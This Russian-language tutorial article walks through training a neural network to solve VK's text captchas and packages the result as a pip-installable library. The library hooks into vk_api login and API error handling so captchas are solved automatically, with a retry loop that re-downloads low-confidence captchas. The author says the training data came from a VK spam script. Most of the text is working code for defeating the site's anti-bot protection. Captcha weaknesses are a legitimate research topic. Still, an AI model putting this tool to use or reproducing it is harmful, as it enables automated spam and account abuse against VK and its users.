Ломаем текстовую капчу на примере VK или брутфорсинг до сих пор актуален

от автора

Немного о проблеме

Что мы знаем о капче? Капча — автоматизированный тест тьюринга, помогающий отсеивать подозрительные действия недобросовестных роботов от реальных людей. Но, к сожалению (или к счастью, смотря для кого), текстовая капча сильно устарела. Если еще 10 лет назад она была более-менее эффективным методом защиты от роботов, то сейчас ее может взломать любой желающий человек, более-менее разбирающийся в компьютере.

В данной статье-мануале я покажу, как создать собственную нейросеть по распознанию текстовых капч, имея под рукой домашний компьютер, базовые знания в python и немножко примеров капч.

Результат работы обученной сети

Результат работы обученной сети

Дисклеймер:

Автор данной статьи ни коим образом не призывает вас совершать какие-либо незаконные действия, используя материалы из данной статьи (да и с другими тоже не стоит) и не несет ответственности за вред, причененный ею.

Цель данной статьи — наглядно показать распространённую проблему текстовых капч.

Как всё начиналось

Было время, когда я писал один скрипт по спаму (альтернативному методу продвижения — рассылке) вк. Скрипт должен был уметь обходить капчу через сторониие сервисы (решают 1000 капч за 1020 руб). И я подумал, почему бы не сохранять уже решенные капчи у себя на сервере? Таким образом я бесплатно накопил 150к примеров решенных капч (правда 5-10% из них были решены неправильно, но бОльшая часть датасета всё-таки валидна).

Сразу скажу, что я — человек не сильно смыслящий в машинном обучении, поэтому подправьте меня в комментариях, если что)

Выбираем нейросеть

Несмотря на то, что на дворе 2023 год, ничего более-менее адекватно работающего сходу я найти не смог. Большинство примеров предлагали перед распознаванием убрать шумы, разделить капчу ПОБУКВЕННО и перевести её в черно-белый формат (типо для облегчения работы).

Но в моём случае были некоторые проблемы:

  1. Как убрать шумы, если при переводе в black and white линии сливаются с буквам

  2. Как разделить капчу побуквенно, если заранее неизвестно, сколько букв она в себе содержит

  3. В теории можно заморочиться с 1 и 2 пунктом, но терять неделю свободного времени ради такого занятия я был не готов, поэтому пошёл искать другие варианты.

RGB вариант — у букв и линий разный оттенок

RGB вариант — у букв и линий разный оттенок
BLACK and WHITE — буквы сливаются с линиями

BLACK and WHITE — буквы сливаются с линиями

Так я нашёл Tensorflow keras OCR model — CNN + RNN модель, реализующую фукнцию ошибки через CTC loss. В ней необязательно вообще что-то делать с картинками — достаточно минимально их обработать ( transpose(perm=[1, 0, 2]) ) и всё. Дальше модель разберётся сама.

Для ворчунов-профессионалов, которые скажут, что без грамотной обработки данных результат получится хуже, отвечаю: да, он получится хуже. Но он получится. И заработает. А это главное. В распознавании капч не нужна 100% вероятность, так что зачем сильно морочиться с preprocessing, если можно не париться?)

Подготавливаем данные

Убираем ошибки из датасета с помощью анализа входных данных

Для начала необходимо понять, какие вообще символы встречаются у нас в капче. Для этого я написал простенький скрипт

Статистика частоты вхождения букв в капчу
import random import string from pathlib import Path  data_dir_test = Path("../images/train")  symbols = {i: 0 for i in string.ascii_lowercase+string.digits} lengths = [0]*100 for i in data_dir_test.glob("**/*"):     name = i.name.split('-')[0].split('.')[0]     for i in name:         symbols[i] += 1     lengths[len(name)] += 1 ans = [] #print char -> count for i, item in sorted(symbols.items(), key=lambda e:-e[1]):     print(item, i)     if item > 0: ans.append(i) #print length -> count for i in filter(length, lambda e: e != 0):    print(ans) 

Output:

67063 z 66807 s 66024 h 64136 q 61743 d 60674 v 25280 2 25208 7 25185 8 25107 x 25001 y 24993 5 24956 e 24784 a 24599 u 24492 4 24185 k 24094 n 22953 m 22318 c 18990 p 30 b 27 f 19 g 18 i 11 j 9 l 6 o 2 r 1 t 0 w 0 0 0 1 0 3 0 6 0 9 _________ LEN[3]=23 LEN[4]=61393 LEN[5]=62670 LEN[6]=14902 LEN[7]=14318 LEN[8]=4  ['z', 's', 'h', 'q', 'd', 'v', '2', '7', '8', 'x', 'y', '5', 'e', 'a', 'u', '4', 'k', 'n', 'm', 'c', 'p']

Эти действия сразу помогают «почистить» примеры: видно, что буквы b, f, g, i, j, l, o, r, t заведомо ошибочные и что капч, состоящих из 3 и 8 символов, не существует.

Отлично, с символами определились

max_length = 7 characters = ['z', 's', 'h', 'q', 'd', 'v', '2', '7', '8', 'x',                'y', '5', 'e', 'a', 'u', '4', 'k', 'n', 'm', 'c', 'p']

Подготовка датасета

Перед дальнейшими действиями разобьем датасет с картинками на 2 папки: train и test. Папка test будет использоваться для тестирования готовой модели, train — для обучения (в процессе обучения датасет случайным образом разбивается на train и validate). Я разбил в пропорциях 1/15 ( у меня примеров много, поэтому 10к для теста будет достаточно; если у Вас датасет меньше, чем 20к, то стоит разбивать хотя бы 2/8 )

Теперь надо сделать преобработку картинки. В модели будет использоваться RGB float32 input:

img_width = 130 # ширина input'a img_height = 50 # высота input'a def encode_img(img):     # Preprocessing     #    We will use 3 channels input (in original code were 1 channel)     if img_type == '*.jpeg':         img = tf.io.decode_jpeg(img, channels=3, dct_method='INTEGER_ACCURATE')     #        img = tf.image.rgb_to_grayscale(img)     else:         img = tf.io.decode_png(img, channels=3)      # Convert to float32 in [0, 1] range     img = tf.image.convert_image_dtype(img, tf.float32)     # Resize to the desired size     img = tf.image.resize(img, [img_height, img_width])     # Transpose the image because we want the time     # dimension to correspond to the width of the image.     img = tf.transpose(img, perm=[1, 0, 2])     return img   def encode_single_sample(img_path, label):     # Read image     img = tf.io.read_file(img_path)     # Preprocessing     img = encode_img(img)     # Map the characters in label to numbers     label = char_to_num(tf.strings.unicode_split(label, input_encoding="UTF-8"))     # Return a dict as our model is expecting two inputs     return {"image": img, "label": label} 

И запихать это всё в 2 датасета: один для обучения, другой — для проверки работоспособности модели (в процессе обучения)

def split_data(images: 'list', labels: 'list', train_size=0.9, shuffle=True):     size = len(images)     # 1. Make an indices array and shuffle it, if required     indices = np.arange(size)     if shuffle:         np.random.shuffle(indices)     # 2. Get the size of training samples     train_samples = int(size * train_size)     # 3. Split data into training and validation sets     x_train, y_train = images[indices[:train_samples]], labels[indices[:train_samples]]     x_valid, y_valid = images[indices[train_samples:]], labels[indices[train_samples:]]     return x_train, x_valid, y_train, y_valid  x_train, x_valid, y_train, y_valid = split_data(np.array(images), np.array(labels)) train_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train)) train_dataset = (     train_dataset.map(encode_single_sample, num_parallel_calls=tf.data.AUTOTUNE)         .batch(batch_size)         .prefetch(buffer_size=tf.data.AUTOTUNE) )  validation_dataset = tf.data.Dataset.from_tensor_slices((x_valid, y_valid)) validation_dataset = (     validation_dataset.map(encode_single_sample, num_parallel_calls=tf.data.AUTOTUNE)         .batch(batch_size)         .prefetch(buffer_size=tf.data.AUTOTUNE) ) 

Создаём и обучаем модель

Пришло время для самой модели. Она будет состоять из 2х блоков Conv2D, RNN, (output), CTC loss Layer (для ошибки)

Генерируем модель (многа сложных букф)
# Loss function class CTCLayer(layers.Layer):     def __init__(self, name=None):         super().__init__(name=name)         self.loss_fn = keras.backend.ctc_batch_cost      def call(self, y_true, y_pred, **kwargs):         # Compute the training-time loss value and add it         # to the layer using `self.add_loss()`.         batch_len = tf.cast(tf.shape(y_true)[0], dtype="int64")         input_length = tf.cast(tf.shape(y_pred)[1], dtype="int64")         label_length = tf.cast(tf.shape(y_true)[1], dtype="int64")          input_length = input_length * tf.ones(shape=(batch_len, 1), dtype="int64")         label_length = label_length * tf.ones(shape=(batch_len, 1), dtype="int64")          loss = self.loss_fn(y_true, y_pred, input_length, label_length)         self.add_loss(loss)          # At test time, just return the computed predictions         return y_pred def build_model():     # Inputs to the model     input_img = layers.Input(         # Lets use RGB input instead of black and white         shape=(img_width, img_height, 3), name="image", dtype="float32"     )     labels = layers.Input(name="label", shape=(None,), dtype="float32")      # First conv block     x = layers.Conv2D(         32,         (3, 3),         activation="relu",         kernel_initializer="he_normal",         padding="same",         name="Conv1",     )(input_img)     x = layers.MaxPooling2D((2, 2), name="pool1")(x)      # Second conv block     x = layers.Conv2D(         64,         (3, 3),         activation="relu",         kernel_initializer="he_normal",         padding="same",         name="Conv2",     )(x)     x = layers.MaxPooling2D((2, 2), name="pool2")(x)      # We have used two max pool with pool size and strides 2.     # Hence, downsampled feature maps are 4x smaller. The number of     # filters in the last layer is 64. Reshape accordingly before     # passing the output to the RNN part of the model     new_shape = ((img_width // 4), (img_height // 4) * 64)     x = layers.Reshape(target_shape=new_shape, name="reshape")(x)     x = layers.Dense(64, activation="relu", name="dense1")(x)     x = layers.Dropout(0.2)(x)      # RNNs     x = layers.Bidirectional(layers.LSTM(128, return_sequences=True, dropout=0.25))(x)     x = layers.Bidirectional(layers.LSTM(64, return_sequences=True, dropout=0.25))(x)      # Output layer     x = layers.Dense(         len(char_to_num.get_vocabulary()) + 1, activation="softmax", name="dense2"     )(x)      # Add CTC layer for calculating CTC loss at each step     output = CTCLayer(name="ctc_loss")(labels, x)      # Define the model     model = keras.models.Model(         inputs=[input_img, labels], outputs=output, name="ocr_model_v1"     )     # Optimizer     opt = keras.optimizers.Adam()     # Compile the model and return     model.compile(optimizer=opt)     return model model = build_model()

Добавляем защиту от переобучения

early_stopping = keras.callbacks.EarlyStopping(     monitor="val_loss", patience=early_stopping_patience, restore_best_weights=True )

….. Запускаем! …..

history = model.fit(     train_dataset,     validation_data=validation_dataset,     epochs=100,     callbacks=[early_stopping], )
Процесс обучения модели

Процесс обучения модели

Обучалась модель у меня на процессоре (AMD RYZEN 5 3600) ~ 10 часов, на видеокарте (GTX 1070 TI) ~ 3 часа.

Если вдруг захотите обучать на видеокарте, то будьте готовы потратить 2-3 часа на уставку CUDA, tensorflow-GPU, и кучу другого гемороя (например, conda, — без неё на windows с обучением всё очень грустно)

Тестируем

Для тестирования нужно прогнать нашу модель через датасет, заранее оставленный в папочке test.

Код тестов

Подгружаем нашу модель

model: Functional = keras.models.load_model(MODEL_FNAME)

Загружаем тестовый датасет

images = list(map(str, [i for i in data_dir_test.glob(img_type)])) images = sorted(images, key=lambda *h: random.random()) labels = [     img.split(os.path.sep)[-1].split('-')[0].split('.jpeg')[0].ljust(max_length)[:max_length]     for img in images ]  test_dataset = tf.data.Dataset.from_tensor_slices((numpy.array(images), numpy.array(labels))) test_dataset = (     test_dataset.map(encode_single_sample, num_parallel_calls=tf.data.AUTOTUNE)     .batch(batch_size)     .prefetch(buffer_size=tf.data.AUTOTUNE) )

Визуализация (по желанию):

def visualize():     _, ax = plt.subplots(4, 4, figsize=(15, 5))     for i in range(len(pred_texts)):         img = (image[i, :, :, :] * 255).numpy().transpose([1, 0, 2]).astype(np.uint8)         title = f" {pred_texts[i][0]}{pred_texts[i][1]:.3%} {'ok' if success else 'wrong'}"         ax[i // 4, i % 4].imshow(img)         ax[i // 4, i % 4].set_title(title)         ax[i // 4, i % 4].axis("off")     plt.show()

И, соответственно, тесты:

good = 0 total = 0  for i in test_dataset.take(1000):     label, image = i['label'], i['image']     preds = model.call(image)     pred_texts = decode_batch_predictions(preds)[0]     orig_texts = [tf.strings.reduce_join(num_to_char(l)).numpy().decode("utf-8").replace('[UNK]', '') for l in label]     if need_visualization and total == 0:         visualize()     for i in range(len(pred_texts)):         success = pred_texts[i] == orig_texts[i]         if success:             good += 1         total += 1     print(f"Progress {total/len(images):.2%}[{total}/{len(images)}]...", end='\r') print(f"Success: {(good / total):.2%}\n")
Результат тестов

Результат тестов

У модель выдавала правильный ответ с вероятностью 94.05%.

Ура?

В целом, можно сказать, что модель готова. НО! Тут, как всегда, не без сюрпризов. А сюрпризы в данном случае: 2ГБ библиотеки Tensorflow, 10-15 секунд на её import, долгое время работы и т.п.

В общем, после длительных поисков, было решено переходить на формат onnx. А что, стильно, модно, молодёжно, подумал я. Но, естественно, с 1-го раза ничего не заработало

Конвертируем модель в ONNX

Сначала я попытался использовать keras2onnx, но он у меня не заработал. Погуглив ошибку, я пришёл к выводу, что во всём виновата windows (о великие линукса), перешел на виртуалку, попробовал на ней и…. Опять ничего не заработало (после 4х часов попыток заставить что-либо двигаться).

Далее на очередь пришёл tf2onnx. Но заработал он у меня только с 3-го раза: в первый раз, после установки, оказалось, что python3.10 не поддерживается, затем, на 2й раз — что я обучал модель на слишком новой версии tensorflow, которую tf2onnx пока не поддерживает (вот зараза).

В результате у меня-таки получилось всё провернуть со следующими версиями:

python3.9 tensorflow==2.9.1 tf2onnx==1.11.1 onnxruntime==1.9.0 onnxconverter-common==1.10.0

Ну и сам скрипт конвертации:

import pathlib, tf2onnx.convert, sys from tools import MODEL_FNAME  OUTPUT_ONNX = "../out.model.onnx"  dir = pathlib.Path(__file__).parent sys.argv.append("--saved-model") sys.argv.append(str(dir / MODEL_FNAME)) sys.argv.append("--output") sys.argv.append(str(dir / OUTPUT_ONNX)) tf2onnx.convert.main()

UPDATE: вроде как сейчас уже есть поддержка python3.10, но проверять я это не хочу)

Переписываем код с tensorflow на numpy

Теперь, после конвертации в ONNX, возникла необходимость переписать препроцессинг картинок с tensorflow на великий numpy (весит меньше, работает шустрее).

В случае препроцессинга это не составило особого труда:

def decode_img(data_bytes: bytes):   # same actions, as for tensorflow   img = cv2.imdecode(np.asarray(bytearray(data_bytes), dtype=np.uint8), -1)   img: "np.ndarray" = img.astype(np.float32) / 255.   if img.shape != (img_height, img_width, 3):       cv2.resize(img, (img_width, img_height))   img = img.transpose([1, 0, 2])   #  Creating tensor ( adding 4d dimension )   img = np.array([img])   return img
Немного о INTEGER_ACCURATE

Тестируем и… Процент верных ответов снижается на 10%. Это стало очень неприятно, и, как оказалось, всё дело в методе преобрабоки картинки.

Существует много методов декодирования JPEG картинок, и, естественно, tensorflow и numpy по умолчанию используют разные. Чтобы они были наиболее cхожи, стоит указать параметр dct_method='INTEGER_ACCURATE'.

img = tf.io.decode_jpeg(img, channels=3, dct_method='INTEGER_ACCURATE')

Немного официальной документации:

dct_method — String specifying a hint about the algorithm used for decompression. Defaults to «» which maps to a system-specific default. Currently valid values are ["INTEGER_FAST", "INTEGER_ACCURATE"]. The hint may be ignored (e.g., the internal jpeg library changes to a version that does not have that specific option.)

Не повторяйте моих ошибок 🙂

А вот в случае декодирования результа пришлось вникнуть в Beam Search Decoding for ctc alorithm. Если вкратце, то на выход мы получаем 2-мерный массив длиной в 32 элемента, где каждый элемент — массив вероятностей на этом месте каждой буквы.

Код декодирования результата:

def get_result(pred):     """CTC decoder of the output tensor     https://distill.pub/2017/ctc/     https://en.wikipedia.org/wiki/Connectionist_temporal_classification     :return string, float     """     accuracy = 1     last = None     ans = []     # pred - 3d tensor, we need 2d array - first element     for item in pred[0]:         # get index of element with max accuracy         char_ind = item.argmax()         # ignore duplicates and special characters         if char_ind != last and char_ind != 0 and char_ind != len(characters)+1:             # this element is a character - append it to answer             ans.append(characters[char_ind - 1])             # Get accuracy for current character and              # multiply global accuracy by it             accuracy *= item[char_ind]         last = char_ind      answ = "".join(ans)[:max_length]     return answ, accuracy 

Тестируем ONNX модель

Настало время финальной проверки: необходимо удостовериться, что мы всё сделали правильно. То есть результат работы ONNX модели не должен сильно отличаться от оригинальной. Также необходимо прогнать тесты на «реальных» капчах (генерируемых сервером) и посмотреть, насколько наша модель с ними справляется (а то вдруг всё было зря?)

Загружаем модель:

data_dir_test = data_dir_test.glob(img_type) sess = onnxruntime.InferenceSession(r"../out.model.onnx") name = sess.get_inputs()[0].name

Переделываем функцию для решения капчи из файла

def solve(file_name: str):     with open(file_name, 'rb') as F:         data_bytes = F.read()     img = decode_img(data_bytes)     pred_onx = sess.run(None, {name: img})[0]     ans = get_result(pred_onx)     return ans

А дальше есть 2 варианта.

  1. Прогнать тесты на реальных капчах и вывести их через matplotlib.pyplotи вручную проанализировать результаты:

    min_accur = 0.3 time_now = time.time() _, ax = plt.subplots(4, 4, figsize=(10, 5)) for i in range(16):     file = 'image.jpeg'     perc_ = 0     # пока вероятность корректного решения, выдаваемая моделью, меньше,     # чем минимум - решаем     while perc_ < min_accur:         # на всякий случай скажу, что если брать рандомные sid,          # то может вылезти русская капча, например как тут(не пугайтесь):          # https://api.vk.com/captcha.php?sid=984831         image = requests.get('https://api.vk.com/captcha.php?sid=98483')         with open(file, 'wb') as f:             f.write(image.content)         solution, perc_ = solve(file)     img = mpimg.imread(file)      title = f"{perc_: .2%} {solution}"     ax[i >> 2, i % 4].imshow(img)     ax[i >> 2, i % 4].set_title(title)     ax[i >> 2, i % 4].axis("off") plt.show() print("ARGV:", (time.time() - time_now) / 10, "sec.") 
  2. Прогнать модель заново на тестовых данных и посмотреть, не «испортилась» ли она в процессе перевода в другой формат, а также проанализировать ошибки, которые она делает.

    Функция анализа ошибок:

    def mistakes_analyzer(errors: "list[tuple[str, str]]"):     """Analyze mistakes made by model.     :param errors - list of (model_ans, correct_ans)     :returns (loose_symbol, error_symbols, undefined)             loose_symbol - {symbol: loos_count}             error_symbols - {correct_symbol: {model_answer: count}} (count=int)             undefined - list of other mistakes list[tuple[str, str]]     """     loose_symbol = {}     error_symbols = {}     undefined = []     for ans, correct_ans in errors:         if len(ans) != len(correct_ans):             # if we skip a character             if len(correct_ans) == len(ans)+1:                 loosed_sym = dif(correct_ans, ans)                 if loosed_sym not in loose_symbol:                     loose_symbol[loosed_sym] = 0                 loose_symbol[loosed_sym] += 1             else:                 undefined.append((ans, correct_ans))             continue         for sym_correct, sym_fail in zip(correct_ans, ans):             if sym_correct != sym_fail:                 # if we recognize it incorrectly                 if sym_correct not in error_symbols: error_symbols[sym_correct] = {}                 if sym_fail not in error_symbols[sym_correct]: error_symbols[sym_correct][sym_fail] = 0                 error_symbols[sym_correct][sym_fail] += 1     return loose_symbol, error_symbols, undefined 

    Ну и проход по тестовым данным:

    mistakes = [] total = 0 correct = 0 for file in data_dir_test:     ans = file.name.split(".")[0].split('-')[0]     soved_ans, _ = solve(str(file))     if soved_ans == ans:         correct += 1     else:         mistakes.append((ans, soved_ans))     total += 1     if total % 100 == 0:         print(f"Success: {correct / total:.2%}", end='\r') print("Parsing data mistakes: ") anylize = mistakes_analyzer(mistakes) print("\n\nLoose symbols:") for i, v in sorted(anylize[0].items(), key=lambda n: -n[1]):     if v == 1: continue  # 1 is not an error - it's a mistake     print(i, '=', v) print("\n\nWrong symbols:") for symbol, arr in sorted(anylize[1].items(), key=lambda n: -sum(n[1].values())):     print(symbol, '=', sum(arr.values()), ":")     for symbol_next, v in sorted(arr.items(), key=lambda n: -n[1]):         if v == 1: continue         print(f'\t{symbol} - {symbol_next} = {v}') from fuzzywuzzy import fuzz for i in anylize[2]:     # if the difference between answer and item is too big -      # it's wierd. We should pay attention on it          if fuzz.ratio(*i) < 0.4:         print("Probably problem in data: ")         print(*i) 

    В моём случае я получил примерно такую картину:

    Loose symbols: z = 6 s = 4 n = 4 7 = 3 4 = 2 v = 2 c = 2  Wrong symbols: e = 97 : e - c = 59 e - 8 = 14 e - a = 9 e - p = 4 e - q = 3 e - 2 = 2 e - s = 2 c = 97 : c - e = 61 c - q = 18 c - p = 6 c - d = 3 c - u = 3 c - a = 2 n = 77 : n - h = 41 n - m = 13 n - p = 12 n - u = 4 n - 4 = 2 s = 74 : s - 8 = 16 s - 5 = 14 s - e = 9 s - q = 8 s - c = 7 s - x = 4 s - 2 = 3 s - p = 3 s - a = 3 s - z = 2 s - n = 2 z = 73 : z - 2 = 28 z - 7 = 18 z - s = 5 z - v = 4 z - h = 3 z - x = 3 z - q = 3 z - 5 = 2 z - a = 2 a = 71 : a - d = 26 a - e = 9 a - 4 = 7 a - q = 6 a - n = 5 a - u = 5 a - z = 3 a - 2 = 2 a - 8 = 2 a - c = 2 v = 71 : v - y = 49 v - x = 13 v - d = 2 v - s = 2 q = 47 : q - d = 26 q - e = 4 q - 9 = 2 q - c = 2 q - g = 2 q - 4 = 2 q - z = 2 q - u = 2 u = 45 : u - d = 17 u - n = 7 u - q = 5 u - h = 3 u - v = 3 u - m = 2 u - x = 2 u - 4 = 2 h = 38 : h - n = 26 h - b = 5 h - k = 3 h - u = 2 d = 30 : d - c = 11 d - q = 8 d - a = 3 d - u = 2 d - s = 2 y = 26 : y - v = 20 y - x = 4 y - 7 = 2 x = 24 : x - k = 9 x - v = 5 x - y = 4 x - 7 = 2 5 = 22 : 5 - p = 5 5 - s = 4 5 - h = 3 5 - a = 2 5 - 2 = 2 5 - 7 = 2 2 = 21 : 2 - 8 = 7 2 - z = 5 2 - a = 3 2 - p = 3 7 = 20 : 7 - z = 10 7 - s = 2 p = 16 : p - n = 8 p - h = 2 p - u = 2 p - m = 2 4 = 13 : 4 - 7 = 3 4 - q = 3 4 - h = 2 4 - a = 2 k = 12 : k - x = 5 k - h = 4 8 = 5 : m = 5 : m - n = 3 

    Из этих данных видно, что модель довольно часто путает «e» с «c«, «h» с «n«, «z» c «2«, «v» c «y«. Это стандартная ситуация для моделей, распознающих текст, — эти символы и люди часто не могут до конца распознать (а у нас, извините, нечетаемая капча).

Также стоит упомянуть один интересную фичу, которой можно воспользоваться при решении текстовых капч: если модель выдает плохую уверенность в ответе (например, ниже чем 0.2), то довольно часто можно «забить» на решение данной капчи и просто запросить следующую (в случае ВК и запрашивать не надо: просто заново скачиваем картинку по той же ссылке, и сервер для нас любезно сгенерировует новую «задачку»).
То есть «умная» функция будет решать капчу до тех пор (естественно, можно задать макс. количество раз), пока вероятность успешного ответа меньше, чем нужная нам.

Теперь то всё?

Почти. Осталось написать библиотеку-обёрту для получившейся модели.

Много code
import concurrent.futures import os.path import time import aiohttp, asyncio  import onnxruntime as onr import numpy as np import requests import cv2 import vk_api, threading from requests.exceptions import ProxyError  characters = ['z', 's', 'h', 'q', 'd', 'v', '2', '7', '8', 'x', 'y', '5', 'e', 'a', 'u', '4', 'k', 'n', 'm', 'c', 'p'] img_width = 130 img_height = 50 lock = threading.Lock() logging_lock: "threading.Lock|None" = None  # you can use some existing lock for logging max_length = 7 class VkCaptchaSolver:     """     Vk captcha handling     Fast examples: 1) vk_api.VkApi >>> from vk_captcha import vk_api_handler >>> vk = vk_api_handler.VkApiCaptcha("88005553535", "efwoewkofokw")  # this login will create captcha >>> vk_api_handler.Solver.logging = True  # enable logging >>> vk.auth() # getting Password Api error 2) solving captcha from url >>> from vk_captcha import VkCaptchaSolver >>> import random >>> solver = VkCaptchaSolver(logging=True) >>> captcha_response, accuracy = solver.solve(url=f"https://api.vk.com/captcha.php?sid={random.randint(0,10000000)}", minimum_accuracy=0.15) >>> async def async_way(): ... await solver.solve_async(url=f"https://api.vk.com/captcha.php?sid={random.randint(0,10000000)}") 3) if you have image in bytes: >>> solver.solve(bytes_data=requests.get(f"https://api.vk.com/captcha.php?sid={random.randint(0,10000000)}").content)     """     TOTAL_COUNT = 0     FAIL_COUNT = 1     TOTAL_TIME = 0     def __init__(self, logging=False, model_fname=os.path.dirname(__file__) + "/model.onnx"):         self.logging = logging         self.Model = onr.InferenceSession(model_fname)         self.ModelName = self.Model.get_inputs()[0].name     def solve(self, url=None, bytes_data=None, minimum_accuracy=0, repeat_count=10, session=None) -> 'str,float':         """Solves VK captcha         :param bytes_data: Raw image data         :type bytes_data: bytes         :param url: url of the captcha ( or pass bytes_data )         :type url: str         :param minimum_accuracy: Minimum accuracy of recognition.                                  If accuracy < minimum_accuracy then download captcha again                                  and solve it again. (Do it for repeat_count times)                                  Works only with url passed                                  Range = [0,1]         :type minimum_accuracy: float         :param repeat_count: Repeat solving count ( look at minimum_accuracy )                                 Range = [1,999]         :type repeat_count: int         :param session: requests.Session object or None         :return Tuple[answer:str, accuracy:float ( Range=[0,1]) ]         """         if url is not None: url = url.replace('&resized=1', '').replace("?resized=1&", '?')         if self.logging:             with logging_lock:                 print(f"Solving captcha {url}")         if repeat_count < 1: raise ValueError(f"Parameter repeat_count = {repeat_count} < 1")         for i in range(repeat_count):             if url is not None:                 for _ in range(4):                     try:                         bytes_data = (session or requests).get(url, headers={"Content-language": "en"}).content                         if bytes_data is None:                             raise ProxyError("Can not download data, probably proxy error")                         break                     except:                         if _ == 3: raise                         time.sleep(0.5)             answer, accuracy = self._solve_task(bytes_data)             if accuracy >= minimum_accuracy or url is None:                 break             if self.logging:                 with logging_lock:                     print(f"Solved accuracy(={accuracy:.4}) < miniumum(={minimum_accuracy:.4}). Trying again.")         with lock: VkCaptchaSolver.TOTAL_COUNT += 1         return answer, accuracy      @property     def argv_solve_time(self):         """Argv solve time in seconds per one captcha.         Start returning value after first solve ( solve_async) call"""         with lock:             return VkCaptchaSolver.TOTAL_TIME / (VkCaptchaSolver.TOTAL_COUNT or 1)  # zero division error capturing     @property     def _async_runner(self):         if not hasattr(VkCaptchaSolver, "_runner"):             VkCaptchaSolver._runner = concurrent.futures.ThreadPoolExecutor(                 max_workers=5             )         return VkCaptchaSolver._runner     async def solve_async(self, url=None, bytes_data=None, minimum_accuracy=0, repeat_count=10, session=None) -> 'str,float':         """Solves VK captcha async         :param bytes_data: Raw image data         :type bytes_data: byte         :param url: url of the captcha ( or pass bytes_data )         :type url: str         :param minimum_accuracy: Minimum accuracy of recognition.                                  If accuracy < minimum_accuracy then download captcha again                                  and solve it again. (Do it for repeat_count times)                                  Works only with url passed                                  Range = [0,1]         :type minimum_accuracy: float         :param repeat_count: Repeat solving count ( look at minimum_accuracy )                                 Range = [1,999]         :param session: aiohttp.ClientSession session to download captcha         :type session: aiohttp.ClientSession         :type repeat_count: int         :return answer:str, accuracy:float (Range=[0,1])         """         if self.logging: print(f"Solving captcha {url}")         if repeat_count < 1: raise ValueError(f"Parameter repeat_count = {repeat_count} < 1")         for i in range(repeat_count):             if url is not None:                 for _ in range(4):                     try:                         if session is None:                             async with aiohttp.ClientSession(headers={"Content-language": "en"}) as session_m, \                                     session_m.get(url) as resp:                                 bytes_data = await resp.content.read()                         else:                             async with session.get(url) as resp:                                 bytes_data = await resp.content.read()                         if bytes_data is None: raise ProxyError("Can not download captcha - probably proxy error")                         break                     except Exception:                         if _ == 3: raise                         await asyncio.sleep(0.5)             if self.logging: t = time.time()             #  running in background async             res = asyncio.get_event_loop().run_in_executor(self._async_runner, self._solve_task, bytes_data)             completed, _ = await asyncio.wait((res,))             #  getting result             answer, accuracy = next(iter(completed)).result()             if accuracy >= minimum_accuracy or url is None:                 break             print(f"Solved accuracy(={accuracy:.4}) < miniumum(={minimum_accuracy:.4}). Trying again.")         with lock: VkCaptchaSolver.TOTAL_COUNT += 1         return answer, accuracy     def _solve_task(self, data_bytes: bytes):         t = time.time()          img = cv2.imdecode(np.asarray(bytearray(data_bytes), dtype=np.uint8), -1)         img: "np.ndarray" = img.astype(np.float32) / 255.         if img.shape != (img_height, img_width, 3):             cv2.resize(img, (img_width, img_height))         img = img.transpose([1, 0, 2])         #  Creating tensor ( adding 4d dimension )         img = np.array([img])         # !!!HERE MAGIC COMES!!!!         result_tensor = self.Model.run(None, {self.ModelName: img})[0]         # decoding output         answer, accuracy = self.get_result(result_tensor)          delta = time.time() - t         with lock:             VkCaptchaSolver.TOTAL_TIME += delta         if self.logging:             with logging_lock:                 print(f"Solved captcha = {answer} ({accuracy:.2%} {time.time() - t:.3}sec.)")          return answer, accuracy      async def vk_wave_captcha_handler(self, error: dict, api_ctx: 'APIOptionsRequestContext'):         method = error["error"]["request_params"][0]["value"]         request_params = {}         for param in error["error"]["request_params"]:             if param["key"] in ("oauth", "v", "method"):                 continue             request_params[param["key"]] = param["value"]          key = await self.solve_async(error["error"]["captcha_img"], minimum_accuracy=0.33)          request_params.update({"captcha_sid": error["error"]["captcha_sid"], "captcha_key": key})         return await api_ctx.api_request(method, params=request_params)     def vk_wave_attach_to_api_session(self, api_session):         d = api_session.default_api_options.error_dispatcher         d.add_handler(14, self.vk_wave_captcha_handler)     @staticmethod     def get_result(pred):         """CTC decoder of the output tensor         https://distill.pub/2017/ctc/         https://en.wikipedia.org/wiki/Connectionist_temporal_classification         :return string, float         """         accuracy = 1         last = None         ans = []         # pred - 3d tensor, we need 2d array - first element         for item in pred[0]:             # get index of element with max accuracy             char_ind = item.argmax()             # ignore duplicates and special characters             if char_ind != last and char_ind != 0 and char_ind != len(characters) + 1:                 # this element is a character - append it to answer                 ans.append(characters[char_ind - 1])                 # Get accuracy for current character and                 # multiply global accuracy by it                 accuracy *= item[char_ind]             last = char_ind          answ = "".join(ans)[:max_length]         return answ, accuracy      def vk_api_captcha_handler(self, captcha, minimum_accuracy=0.3, repeat_count=10):         """vk_api.VkApi captcha handler function"""         key, _ = self.solve(captcha.get_url(), minimum_accuracy=minimum_accuracy, repeat_count=repeat_count)         try:             ans = captcha.try_again(key)             return ans         except vk_api.ApiError as e:             if e.code == vk_api.vk_api.CAPTCHA_ERROR_CODE:                 with lock: VkCaptchaSolver.FAIL_COUNT += 1             raise 

Установка и использование

Установка библиотеки:

pip install vk_captcha or pip install https://github.com/imartemy1524/vk_captcha/raw/main/dist/vk_captcha-2.0.tar.gz or pip install git+https://github.com/imartemy1524/vk_captcha 

Ну и использование:

  1. С помощью библиотеки vk_api

from vk_captcha import vk_api_handler vk = vk_api_handler.VkApiCaptcha("88005553535", "efwoewkofokw")  # this login will create captcha vk_api_handler.Solver.logging = True  # enable logging vk.auth() # get captcha error and automatically solve it 
  1. «Ручками»

from vk_captcha import VkCaptchaSolver import random, requests  session = requests.Session()   session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0'  solver = VkCaptchaSolver(logging=True)  # use logging=False on deploy sid = random.randint(122112, 10102012012012) easy_captcha = False url = f"https://api.vk.com/captcha.php?sid={sid}&s={int(easy_captcha)}"  answer, accuracy = solver.solve(     url=url,     minimum_accuracy=0.33,  # keep solving captcha while accuracy < 0.33     repeat_count=14,  # if we solved captcha with less than minimum_accuracy, then retry repeat_count times     session=session  # optional parameter. Useful if we want to use proxy or specific headers ) # or #answer, accuracy = solver.solve(bytes_data=session.get(url)) print(f"I solved captcha = {answer} with accuracy {accuracy:.4}") 
  1. Ну и куда в текущих реалиях без всемилюбимого async

